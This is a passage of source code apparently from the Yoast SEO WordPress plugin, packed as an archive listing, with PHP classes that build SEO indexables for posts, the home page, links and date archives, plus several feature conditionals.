
		return $indexable;
	}

	/**
	 * Retrieves the permalink for a post with the given post type and ID.
	 *
	 * @param string $post_type The post type.
	 * @param int    $post_id   The post ID.
	 *
	 * @return WP_Error|string|false The permalink.
	 */
	protected function get_permalink( $post_type, $post_id ) {
		if ( $post_type !== 'attachment' ) {
			return \get_permalink( $post_id );
		}

		return \wp_get_attachment_url( $post_id );
	}

	/**
	 * Determines the value of is_public.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool|null Whether or not the post type is public. Null if no override is set.
	 */
	protected function is_public( $indexable ) {
		if ( $indexable->is_protected === true ) {
			return false;
		}

		if ( $indexable->is_robots_noindex === true ) {
			return false;
		}

		// Attachments behave differently than the other post types, since they inherit from their parent.
		if ( $indexable->object_sub_type === 'attachment' ) {
			return $this->is_public_attachment( $indexable );
		}

		if ( ! \in_array( $indexable->post_status, $this->post_helper->get_public_post_statuses(), true ) ) {
			return false;
		}

		if ( $indexable->is_robots_noindex === false ) {
			return true;
		}

		return null;
	}

	/**
	 * Determines the value of is_public for attachments.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool|null False when it has no parent. Null when it has a parent.
	 */
	protected function is_public_attachment( $indexable ) {
		// If the attachment has no parent, it should not be public.
		if ( empty( $indexable->post_parent ) ) {
			return false;
		}

		// If the attachment has a parent, the is_public should be NULL.
		return null;
	}

	/**
	 * Determines the value of has_public_posts.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool|null Whether the attachment has a public parent, can be true, false and null. Null when it is not an attachment.
	 */
	protected function has_public_posts( $indexable ) {
		// Only attachments (and authors) have this value.
		if ( $indexable->object_sub_type !== 'attachment' ) {
			return null;
		}

		// The attachment should have a post parent.
		if ( empty( $indexable->post_parent ) ) {
			return false;
		}

		// The attachment should inherit the post status.
		if ( $indexable->post_status !== 'inherit' ) {
			return false;
		}

		// The post parent should be public.
		$post_parent_indexable = $this->indexable_repository->find_by_id_and_type( $indexable->post_parent, 'post' );
		if ( $post_parent_indexable !== false ) {
			return $post_parent_indexable->is_public;
		}

		return false;
	}

	/**
	 * Converts the meta robots noindex value to the indexable value.
	 *
	 * @param int $value Meta value to convert.
	 *
	 * @return bool|null True for noindex, false for index, null for default of parent/type.
	 */
	protected function get_robots_noindex( $value ) {
		$value = (int) $value;

		switch ( $value ) {
			case 1:
				return true;
			case 2:
				return false;
		}

		return null;
	}

	/**
	 * Retrieves the robot options to search for.
	 *
	 * @return array List of robots values.
	 */
	protected function get_robots_options() {
		return [ 'noimageindex', 'noarchive', 'nosnippet' ];
	}

	/**
	 * Determines the focus keyword score.
	 *
	 * @param string $keyword The focus keyword that is set.
	 * @param int    $score   The score saved on the meta data.
	 *
	 * @return int|null Score to use.
	 */
	protected function get_keyword_score( $keyword, $score ) {
		if ( empty( $keyword ) ) {
			return null;
		}

		return $score;
	}

	/**
	 * Retrieves the lookup table.
	 *
	 * @return array Lookup table for the indexable fields.
	 */
	protected function get_indexable_lookup() {
		return [
			'focuskw'                        => 'primary_focus_keyword',
			'canonical'                      => 'canonical',
			'title'                          => 'title',
			'metadesc'                       => 'description',
			'bctitle'                        => 'breadcrumb_title',
			'opengraph-title'                => 'open_graph_title',
			'opengraph-image'                => 'open_graph_image',
			'opengraph-image-id'             => 'open_graph_image_id',
			'opengraph-description'          => 'open_graph_description',
			'twitter-title'                  => 'twitter_title',
			'twitter-image'                  => 'twitter_image',
			'twitter-image-id'               => 'twitter_image_id',
			'twitter-description'            => 'twitter_description',
			'estimated-reading-time-minutes' => 'estimated_reading_time_minutes',
		];
	}

	/**
	 * Finds an alternative image for the social image.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return array|bool False when not found, array with data when found.
	 */
	protected function find_alternative_image( Indexable $indexable ) {
		if (
			$indexable->object_sub_type === 'attachment'
			&& $this->image->is_valid_attachment( $indexable->object_id )
		) {
			return [
				'image_id' => $indexable->object_id,
				'source'   => 'attachment-image',
			];
		}

		$featured_image_id = $this->image->get_featured_image_id( $indexable->object_id );
		if ( $featured_image_id ) {
			return [
				'image_id' => $featured_image_id,
				'source'   => 'featured-image',
			];
		}

		$gallery_image = $this->image->get_gallery_image( $indexable->object_id );
		if ( $gallery_image ) {
			return [
				'image'  => $gallery_image,
				'source' => 'gallery-image',
			];
		}

		$content_image = $this->image->get_post_content_image( $indexable->object_id );
		if ( $content_image ) {
			return [
				'image'  => $content_image,
				'source' => 'first-content-image',
			];
		}

		return false;
	}

	/**
	 * Gets the number of pages for a post.
	 *
	 * @param object $post The post object.
	 *
	 * @return int|null The number of pages or null if the post isn't paginated.
	 */
	protected function get_number_of_pages_for_post( $post ) {
		$number_of_pages = ( \substr_count( $post->post_content, '<!--nextpage-->' ) + 1 );

		if ( $number_of_pages <= 1 ) {
			return null;
		}

		return $number_of_pages;
	}

	/**
	 * Checks whether an indexable should be built for this post.
	 *
	 * @param WP_Post $post The post for which an indexable should be built.
	 *
	 * @return bool `true` if the post should be excluded from building, `false` if not.
	 */
	protected function should_exclude_post( $post ) {
		return $this->post_type_helper->is_excluded( $post->post_type );
	}

	/**
	 * Transforms an empty string into null. Leaves non-empty strings intact.
	 *
	 * @param string $text The string.
	 *
	 * @return string|null The input string or null.
	 */
	protected function empty_string_to_null( $text ) {
		if ( ! \is_string( $text ) || $text === '' ) {
			return null;
		}

		return $text;
	}
}
builders/indexable-home-page-builder.php000066600000010542152204306260014313 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Homepage Builder for the indexables.
 *
 * Formats the homepage meta to indexable format.
 */
class Indexable_Home_Page_Builder {

	use Indexable_Social_Image_Trait;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	protected $url_helper;

	/**
	 * The latest version of the Indexable-Home-Page-Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * Indexable_Home_Page_Builder constructor.
	 *
	 * @param Options_Helper             $options     The options helper.
	 * @param Url_Helper                 $url_helper  The url helper.
	 * @param Indexable_Builder_Versions $versions    Knows the latest version of each Indexable type.
	 * @param Post_Helper                $post_helper The post helper.
	 */
	public function __construct(
		Options_Helper $options,
		Url_Helper $url_helper,
		Indexable_Builder_Versions $versions,
		Post_Helper $post_helper
	) {
		$this->options     = $options;
		$this->url_helper  = $url_helper;
		$this->version     = $versions->get_latest_version_for_type( 'home-page' );
		$this->post_helper = $post_helper;
	}

	/**
	 * Formats the data.
	 *
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 */
	public function build( $indexable ) {
		$indexable->object_type      = 'home-page';
		$indexable->title            = $this->options->get( 'title-home-wpseo' );
		$indexable->breadcrumb_title = $this->options->get( 'breadcrumbs-home' );
		$indexable->permalink        = $this->url_helper->home();
		$indexable->blog_id          = \get_current_blog_id();
		$indexable->description      = $this->options->get( 'metadesc-home-wpseo' );
		if ( empty( $indexable->description ) ) {
			$indexable->description = \get_bloginfo( 'description' );
		}

		$indexable->is_robots_noindex = \get_option( 'blog_public' ) === '0';

		$indexable->open_graph_title       = $this->options->get( 'open_graph_frontpage_title' );
		$indexable->open_graph_image       = $this->options->get( 'open_graph_frontpage_image' );
		$indexable->open_graph_image_id    = $this->options->get( 'open_graph_frontpage_image_id' );
		$indexable->open_graph_description = $this->options->get( 'open_graph_frontpage_desc' );

		// Reset the OG image source & meta.
		$indexable->open_graph_image_source = null;
		$indexable->open_graph_image_meta   = null;

		// When the image or image id is set.
		if ( $indexable->open_graph_image || $indexable->open_graph_image_id ) {
			$indexable->open_graph_image_source = 'set-by-user';

			$this->set_open_graph_image_meta_data( $indexable );
		}

		$timestamps                      = $this->get_object_timestamps();
		$indexable->object_published_at  = $timestamps->published_at;
		$indexable->object_last_modified = $timestamps->last_modified;

		$indexable->version = $this->version;

		return $indexable;
	}

	/**
	 * Returns the timestamps for the homepage.
	 *
	 * @return object An object with last_modified and published_at timestamps.
	 */
	protected function get_object_timestamps() {
		global $wpdb;
		$post_statuses = $this->post_helper->get_public_post_statuses();

		$replacements   = [];
		$replacements[] = 'post_modified_gmt';
		$replacements[] = 'post_date_gmt';
		$replacements[] = $wpdb->posts;
		$replacements[] = 'post_status';
		$replacements   = \array_merge( $replacements, $post_statuses );
		$replacements[] = 'post_password';
		$replacements[] = 'post_type';

		//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_row(
			$wpdb->prepare(
				'
			SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
			FROM %i AS p
			WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
				AND p.%i = ''
				AND p.%i = 'post'
			",
				$replacements
			)
		);
		//phpcs:enable
	}
}
builders/indexable-link-builder.php000066600000043671152204306260013417 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use WPSEO_Image_Utils;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Images\Application\Image_Content_Extractor;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Models\SEO_Links;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Repositories\SEO_Links_Repository;

/**
 * Indexable link builder.
 */
class Indexable_Link_Builder {

	/**
	 * The SEO links repository.
	 *
	 * @var SEO_Links_Repository
	 */
	protected $seo_links_repository;

	/**
	 * The url helper.
	 *
	 * @var Url_Helper
	 */
	protected $url_helper;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image_helper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The post helper.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Class that finds all images in a content string and extracts them.
	 *
	 * @var Image_Content_Extractor
	 */
	private $image_content_extractor;

	/**
	 * Indexable_Link_Builder constructor.
	 *
	 * @param SEO_Links_Repository $seo_links_repository The SEO links repository.
	 * @param Url_Helper           $url_helper           The URL helper.
	 * @param Post_Helper          $post_helper          The post helper.
	 * @param Options_Helper       $options_helper       The options helper.
	 * @param Indexable_Helper     $indexable_helper     The indexable helper.
	 */
	public function __construct(
		SEO_Links_Repository $seo_links_repository,
		Url_Helper $url_helper,
		Post_Helper $post_helper,
		Options_Helper $options_helper,
		Indexable_Helper $indexable_helper,
		Image_Content_Extractor $image_content_extractor
	) {
		$this->seo_links_repository    = $seo_links_repository;
		$this->url_helper              = $url_helper;
		$this->post_helper             = $post_helper;
		$this->options_helper          = $options_helper;
		$this->indexable_helper        = $indexable_helper;
		$this->image_content_extractor = $image_content_extractor;
	}

	/**
	 * Sets the indexable repository.
	 *
	 * @required
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 * @param Image_Helper         $image_helper         The image helper.
	 *
	 * @return void
	 */
	public function set_dependencies( Indexable_Repository $indexable_repository, Image_Helper $image_helper ) {
		$this->indexable_repository = $indexable_repository;
		$this->image_helper         = $image_helper;
	}

	/**
	 * Builds the links for a post.
	 *
	 * @param Indexable $indexable The indexable.
	 * @param string    $content   The content. Expected to be unfiltered.
	 *
	 * @return SEO_Links[] The created SEO links.
	 */
	public function build( $indexable, $content ) {
		if ( ! $this->indexable_helper->should_index_indexable( $indexable ) ) {
			return [];
		}

		global $post;
		if ( $indexable->object_type === 'post' ) {
			$post_backup = $post;
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly.
			$post = $this->post_helper->get_post( $indexable->object_id );
			\setup_postdata( $post );
			$content = \apply_filters( 'the_content', $content );
			\wp_reset_postdata();
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly.
			$post = $post_backup;
		}

		$content = \str_replace( ']]>', ']]&gt;', $content );
		$links   = $this->gather_links( $content );
		$images  = $this->image_content_extractor->gather_images( $content );

		if ( empty( $links ) && empty( $images ) ) {
			$indexable->link_count = 0;
			$this->update_related_indexables( $indexable, [] );

			return [];
		}

		if ( ! empty( $images ) && ( $indexable->open_graph_image_source === 'first-content-image' || $indexable->twitter_image_source === 'first-content-image' ) ) {
			$this->update_first_content_image( $indexable, $images );
		}

		$links = $this->create_links( $indexable, $links, $images );

		$this->update_related_indexables( $indexable, $links );

		$indexable->link_count = $this->get_internal_link_count( $links );

		return $links;
	}

	/**
	 * Deletes all SEO links for an indexable.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return void
	 */
	public function delete( $indexable ) {
		$links = ( $this->seo_links_repository->find_all_by_indexable_id( $indexable->id ) );
		$this->seo_links_repository->delete_all_by_indexable_id( $indexable->id );

		$linked_indexable_ids = [];
		foreach ( $links as $link ) {
			if ( $link->target_indexable_id ) {
				$linked_indexable_ids[] = $link->target_indexable_id;
			}
		}

		$this->update_incoming_links_for_related_indexables( $linked_indexable_ids );
	}

	/**
	 * Fixes existing SEO links that are supposed to have a target indexable but don't, because of prior indexable
	 * cleanup.
	 *
	 * @param Indexable $indexable The indexable to be the target of SEO Links.
	 *
	 * @return void
	 */
	public function patch_seo_links( Indexable $indexable ) {
		if ( ! empty( $indexable->id ) && ! empty( $indexable->object_id ) ) {
			$links = $this->seo_links_repository->find_all_by_target_post_id( $indexable->object_id );

			$updated_indexable = false;
			foreach ( $links as $link ) {
				if ( \is_a( $link, SEO_Links::class ) && empty( $link->target_indexable_id ) ) {
					// Since that post ID exists in an SEO link but has no target_indexable_id, it's probably because of prior indexable cleanup.
					$this->seo_links_repository->update_target_indexable_id( $link->id, $indexable->id );
					$updated_indexable = true;
				}
			}

			if ( $updated_indexable ) {
				$updated_indexable_id = [ $indexable->id ];
				$this->update_incoming_links_for_related_indexables( $updated_indexable_id );
			}
		}
	}

	/**
	 * Gathers all links from content.
	 *
	 * @param string $content The content.
	 *
	 * @return string[] An array of urls.
	 */
	protected function gather_links( $content ) {
		if ( \strpos( $content, 'href' ) === false ) {
			// Nothing to do.
			return [];
		}

		$links  = [];
		$regexp = '<a\s[^>]*href=("??)([^" >]*?)\1[^>]*>';
		// Used modifiers iU to match case insensitive and make greedy quantifiers lazy.
		if ( \preg_match_all( "/$regexp/iU", $content, $matches, \PREG_SET_ORDER ) ) {
			foreach ( $matches as $match ) {
				$links[] = \trim( $match[2], "'" );
			}
		}

		return $links;
	}

	/**
	 * Creates link models from lists of URLs and image sources.
	 *
	 * @param Indexable $indexable The indexable.
	 * @param string[]  $links     The link URLs.
	 * @param int[]     $images    The image sources.
	 *
	 * @return SEO_Links[] The link models.
	 */
	protected function create_links( $indexable, $links, $images ) {
		$home_url    = \wp_parse_url( \home_url() );
		$current_url = \wp_parse_url( $indexable->permalink );
		$links       = \array_map(
			function ( $link ) use ( $home_url, $indexable ) {
				return $this->create_internal_link( $link, $home_url, $indexable );
			},
			$links
		);
		// Filter out links to the same page with a fragment or query.
		$links = \array_filter(
			$links,
			function ( $link ) use ( $current_url ) {
				return $this->filter_link( $link, $current_url );
			}
		);

		$image_links = [];
		foreach ( $images as $image_url => $image_id ) {
			$image_links[] = $this->create_internal_link( $image_url, $home_url, $indexable, true, $image_id );
		}

		return \array_merge( $links, $image_links );
	}

	/**
	 * Get the post ID based on the link's type and its target's permalink.
	 *
	 * @param string $type      The type of link (either SEO_Links::TYPE_INTERNAL or SEO_Links::TYPE_INTERNAL_IMAGE).
	 * @param string $permalink The permalink of the link's target.
	 *
	 * @return int The post ID.
	 */
	protected function get_post_id( $type, $permalink ) {
		if ( $type === SEO_Links::TYPE_INTERNAL ) {
			return \url_to_postid( $permalink );
		}

		return $this->image_helper->get_attachment_by_url( $permalink );
	}

	/**
	 * Creates an internal link.
	 *
	 * @param string    $url       The url of the link.
	 * @param array     $home_url  The home url, as parsed by wp_parse_url.
	 * @param Indexable $indexable The indexable of the post containing the link.
	 * @param bool      $is_image  Whether or not the link is an image.
	 * @param int       $image_id  The ID of the internal image.
	 *
	 * @return SEO_Links The created link.
	 */
	protected function create_internal_link( $url, $home_url, $indexable, $is_image = false, $image_id = 0 ) {
		$parsed_url = \wp_parse_url( $url );
		$link_type  = $this->url_helper->get_link_type( $parsed_url, $home_url, $is_image );

		/**
		 * ORM representing a link in the SEO Links table.
		 *
		 * @var SEO_Links $model
		 */
		$model = $this->seo_links_repository->query()->create(
			[
				'url'          => $url,
				'type'         => $link_type,
				'indexable_id' => $indexable->id,
				'post_id'      => $indexable->object_id,
			]
		);

		$model->parsed_url = $parsed_url;

		if ( $model->type === SEO_Links::TYPE_INTERNAL ) {
			$permalink = $this->build_permalink( $url, $home_url );

			return $this->enhance_link_from_indexable( $model, $permalink );
		}

		if ( $model->type === SEO_Links::TYPE_INTERNAL_IMAGE ) {
			$permalink = $this->build_permalink( $url, $home_url );

			/** The `wpseo_force_creating_and_using_attachment_indexables` filter is documented in indexable-link-builder.php */
			if ( ! $this->options_helper->get( 'disable-attachment' ) || \apply_filters( 'wpseo_force_creating_and_using_attachment_indexables', false ) ) {
				$model = $this->enhance_link_from_indexable( $model, $permalink );
			}
			else {
				$target_post_id = ( $image_id !== 0 ) ? $image_id : WPSEO_Image_Utils::get_attachment_by_url( $permalink );

				if ( ! empty( $target_post_id ) ) {
					$model->target_post_id = $target_post_id;
				}
			}

			if ( $model->target_post_id ) {
				$file = \get_attached_file( $model->target_post_id );

				if ( $file ) {
					if ( \file_exists( $file ) ) {
						$model->size = \filesize( $file );
					}
					else {
						$model->size = null;
					}

					[ , $width, $height ] = \wp_get_attachment_image_src( $model->target_post_id, 'full' );
					$model->width         = $width;
					$model->height        = $height;
				}
				else {
					$model->width  = 0;
					$model->height = 0;
					$model->size   = 0;
				}
			}
		}

		return $model;
	}

	/**
	 * Enhances the link model with information from its indexable.
	 *
	 * @param SEO_Links $model     The link's model.
	 * @param string    $permalink The link's permalink.
	 *
	 * @return SEO_Links The enhanced link model.
	 */
	protected function enhance_link_from_indexable( $model, $permalink ) {
		$target = $this->indexable_repository->find_by_permalink( $permalink );

		if ( ! $target ) {
			// If target indexable cannot be found, create one based on the post's post ID.
			$post_id = $this->get_post_id( $model->type, $permalink );
			if ( $post_id && $post_id !== 0 ) {
				$target = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );
			}
		}

		if ( ! $target ) {
			return $model;
		}

		$model->target_indexable_id = $target->id;
		if ( $target->object_type === 'post' ) {
			$model->target_post_id = $target->object_id;
		}

		if ( $model->target_indexable_id ) {
			$model->language = $target->language;
			$model->region   = $target->region;
		}

		return $model;
	}

	/**
	 * Builds the link's permalink.
	 *
	 * @param string $url      The url of the link.
	 * @param array  $home_url The home url, as parsed by wp_parse_url.
	 *
	 * @return string The link's permalink.
	 */
	protected function build_permalink( $url, $home_url ) {
		$permalink = $this->get_permalink( $url, $home_url );

		if ( $this->url_helper->is_relative( $permalink ) ) {
			// Make sure we're checking against the absolute URL, and add a trailing slash if the site has a trailing slash in its permalink settings.
			$permalink = $this->url_helper->ensure_absolute_url( \user_trailingslashit( $permalink ) );
		}

		return $permalink;
	}

	/**
	 * Filters out links that point to the same page with a fragment or query.
	 *
	 * @param SEO_Links $link        The link.
	 * @param array     $current_url The url of the page the link is on, as parsed by wp_parse_url.
	 *
	 * @return bool Whether or not the link should be filtered.
	 */
	protected function filter_link( SEO_Links $link, $current_url ) {
		$url = $link->parsed_url;

		// Always keep external links.
		if ( $link->type === SEO_Links::TYPE_EXTERNAL ) {
			return true;
		}

		// Always keep links with an empty path or pointing to other pages.
		if ( isset( $url['path'] ) ) {
			return empty( $url['path'] ) || $url['path'] !== $current_url['path'];
		}

		// Only keep links to the current page without a fragment or query.
		return ( ! isset( $url['fragment'] ) && ! isset( $url['query'] ) );
	}

	/**
	 * Updates the link counts for related indexables.
	 *
	 * @param Indexable   $indexable The indexable.
	 * @param SEO_Links[] $links     The link models.
	 *
	 * @return void
	 */
	protected function update_related_indexables( $indexable, $links ) {
		// Old links were only stored by post id, so remove all old seo links for this post that have no indexable id.
		// This can be removed if we ever fully clear all seo links.
		if ( $indexable->object_type === 'post' ) {
			$this->seo_links_repository->delete_all_by_post_id_where_indexable_id_null( $indexable->object_id );
		}

		$updated_indexable_ids = [];
		$old_links             = $this->seo_links_repository->find_all_by_indexable_id( $indexable->id );

		$links_to_remove = $this->links_diff( $old_links, $links );
		$links_to_add    = $this->links_diff( $links, $old_links );

		if ( ! empty( $links_to_remove ) ) {
			$this->seo_links_repository->delete_many_by_id( \wp_list_pluck( $links_to_remove, 'id' ) );
		}

		if ( ! empty( $links_to_add ) ) {
			$this->seo_links_repository->insert_many( $links_to_add );
		}

		foreach ( $links_to_add as $link ) {
			if ( $link->target_indexable_id ) {
				$updated_indexable_ids[] = $link->target_indexable_id;
			}
		}
		foreach ( $links_to_remove as $link ) {
			if ( $link->target_indexable_id ) {
				$updated_indexable_ids[] = $link->target_indexable_id;
			}
		}

		$this->update_incoming_links_for_related_indexables( $updated_indexable_ids );
	}

	/**
	 * Creates a diff between two arrays of SEO links, based on urls.
	 *
	 * @param SEO_Links[] $links_a The array to compare.
	 * @param SEO_Links[] $links_b The array to compare against.
	 *
	 * @return SEO_Links[] Links that are in $links_a, but not in $links_b.
	 */
	protected function links_diff( $links_a, $links_b ) {
		return \array_udiff(
			$links_a,
			$links_b,
			static function ( SEO_Links $link_a, SEO_Links $link_b ) {
				return \strcmp( $link_a->url, $link_b->url );
			}
		);
	}

	/**
	 * Returns the number of internal links in an array of link models.
	 *
	 * @param SEO_Links[] $links The link models.
	 *
	 * @return int The number of internal links.
	 */
	protected function get_internal_link_count( $links ) {
		$internal_link_count = 0;

		foreach ( $links as $link ) {
			if ( $link->type === SEO_Links::TYPE_INTERNAL ) {
				++$internal_link_count;
			}
		}

		return $internal_link_count;
	}

	/**
	 * Returns a cleaned permalink for a given link.
	 *
	 * @param string $link     The raw URL.
	 * @param array  $home_url The home URL, as parsed by wp_parse_url.
	 *
	 * @return string The cleaned permalink.
	 */
	protected function get_permalink( $link, $home_url ) {
		// Get rid of the #anchor.
		$url_split = \explode( '#', $link );
		$link      = $url_split[0];

		// Get rid of URL ?query=string.
		$url_split = \explode( '?', $link );
		$link      = $url_split[0];

		// Set the correct URL scheme.
		$link = \set_url_scheme( $link, $home_url['scheme'] );

		// Add 'www.' if it is absent and should be there.
		if ( \strpos( $home_url['host'], 'www.' ) === 0 && \strpos( $link, '://www.' ) === false ) {
			$link = \str_replace( '://', '://www.', $link );
		}

		// Strip 'www.' if it is present and shouldn't be.
		if ( \strpos( $home_url['host'], 'www.' ) !== 0 ) {
			$link = \str_replace( '://www.', '://', $link );
		}

		return $link;
	}

	/**
	 * Updates incoming link counts for related indexables.
	 *
	 * @param int[] $related_indexable_ids The IDs of all related indexables.
	 *
	 * @return void
	 */
	protected function update_incoming_links_for_related_indexables( $related_indexable_ids ) {
		if ( empty( $related_indexable_ids ) ) {
			return;
		}

		$counts = $this->seo_links_repository->get_incoming_link_counts_for_indexable_ids( $related_indexable_ids );

		/**
		 * Fires to signal that incoming link counts for related indexables were updated.
		 *
		 * @internal
		 */
		\do_action( 'wpseo_related_indexables_incoming_links_updated' );

		foreach ( $counts as $count ) {
			$this->indexable_repository->update_incoming_link_count( $count['target_indexable_id'], $count['incoming'] );
		}
	}

	/**
	 * Updates the image ids when the indexable images are marked as first content image.
	 *
	 * @param Indexable         $indexable The indexable to change.
	 * @param array<string|int> $images    The image array.
	 *
	 * @return void
	 */
	public function update_first_content_image( Indexable $indexable, array $images ): void {
		$current_open_graph_image = $indexable->open_graph_image;
		$current_twitter_image    = $indexable->twitter_image;

		$first_content_image_url = \key( $images );
		$first_content_image_id  = \current( $images );

		if ( $indexable->open_graph_image_source === 'first-content-image' && $current_open_graph_image === $first_content_image_url && ! empty( $first_content_image_id ) ) {
			$indexable->open_graph_image_id = $first_content_image_id;
		}
		if ( $indexable->twitter_image_source === 'first-content-image' && $current_twitter_image === $first_content_image_url && ! empty( $first_content_image_id ) ) {
			$indexable->twitter_image_id = $first_content_image_id;
		}
	}
}
builders/indexable-date-archive-builder.php000066600000003227152204306260015007 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Date Archive Builder for the indexables.
 *
 * Formats the date archive meta to indexable format.
 */
class Indexable_Date_Archive_Builder {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The latest version of the Indexable_Date_Archive_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Indexable_Date_Archive_Builder constructor.
	 *
	 * @param Options_Helper             $options  The options helper.
	 * @param Indexable_Builder_Versions $versions The latest version for all indexable builders.
	 */
	public function __construct( Options_Helper $options, Indexable_Builder_Versions $versions ) {
		$this->options = $options;
		$this->version = $versions->get_latest_version_for_type( 'date-archive' );
	}

	/**
	 * Formats the data.
	 *
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 */
	public function build( $indexable ) {
		$indexable->object_type       = 'date-archive';
		$indexable->title             = $this->options->get( 'title-archive-wpseo' );
		$indexable->description       = $this->options->get( 'metadesc-archive-wpseo' );
		$indexable->is_robots_noindex = $this->options->get( 'noindex-archive-wpseo' );
		$indexable->is_public         = ( (int) $indexable->is_robots_noindex !== 1 );
		$indexable->blog_id           = \get_current_blog_id();
		$indexable->permalink         = null;
		$indexable->version           = $this->version;

		return $indexable;
	}
}
conditionals/attachment-redirections-enabled-conditional.php000066600000001605152204306260020462 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the 'Redirect attachment URLs to the attachment itself' setting is enabled.
 */
class Attachment_Redirections_Enabled_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Attachment_Redirections_Enabled_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns whether the 'Redirect attachment URLs to the attachment itself' setting has been enabled.
	 *
	 * @return bool `true` when the 'Redirect attachment URLs to the attachment itself' setting has been enabled.
	 */
	public function is_met() {
		return $this->options->get( 'disable-attachment' );
	}
}
conditionals/premium-inactive-conditional.php000066600000000611152204306260015524 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Abstract class for creating conditionals based on feature flags.
 */
class Premium_Inactive_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return ! \YoastSEO()->helpers->product->is_premium();
	}
}
conditionals/semrush-enabled-conditional.php000066600000001343152204306260015327 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the SEMrush integration is enabled.
 */
class SEMrush_Enabled_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * SEMrush_Enabled_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return $this->options->get( 'semrush_integration_active', false );
	}
}
conditionals/woocommerce-conditional.php000066600000000634152204306260014572 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when WooCommerce is active.
 */
class WooCommerce_Conditional implements Conditional {

	/**
	 * Returns `true` when the WooCommerce plugin is installed and activated.
	 *
	 * @return bool `true` when the WooCommerce plugin is installed and activated.
	 */
	public function is_met() {
		return \class_exists( 'WooCommerce' );
	}
}
conditionals/updated-importer-framework-conditional.php000066600000000637152204306260017536 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Feature flag conditional for the updated importer framework.
 */
class Updated_Importer_Framework_Conditional extends Feature_Flag_Conditional {

	/**
	 * Returns the name of the updated importer framework feature flag.
	 *
	 * @return string The name of the feature flag.
	 */
	protected function get_feature_flag() {
		return 'UPDATED_IMPORTER_FRAMEWORK';
	}
}
conditionals/wp-cron-enabled-conditional.php000066600000000537152204306260015232 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Class that checks if WP_CRON is enabled.
 */
class WP_CRON_Enabled_Conditional implements Conditional {

	/**
	 * Checks if WP_CRON is enabled.
	 *
	 * @return bool True when WP_CRON is enabled.
	 */
	public function is_met() {
		return ! ( \defined( 'DISABLE_WP_CRON' ) && \DISABLE_WP_CRON );
	}
}
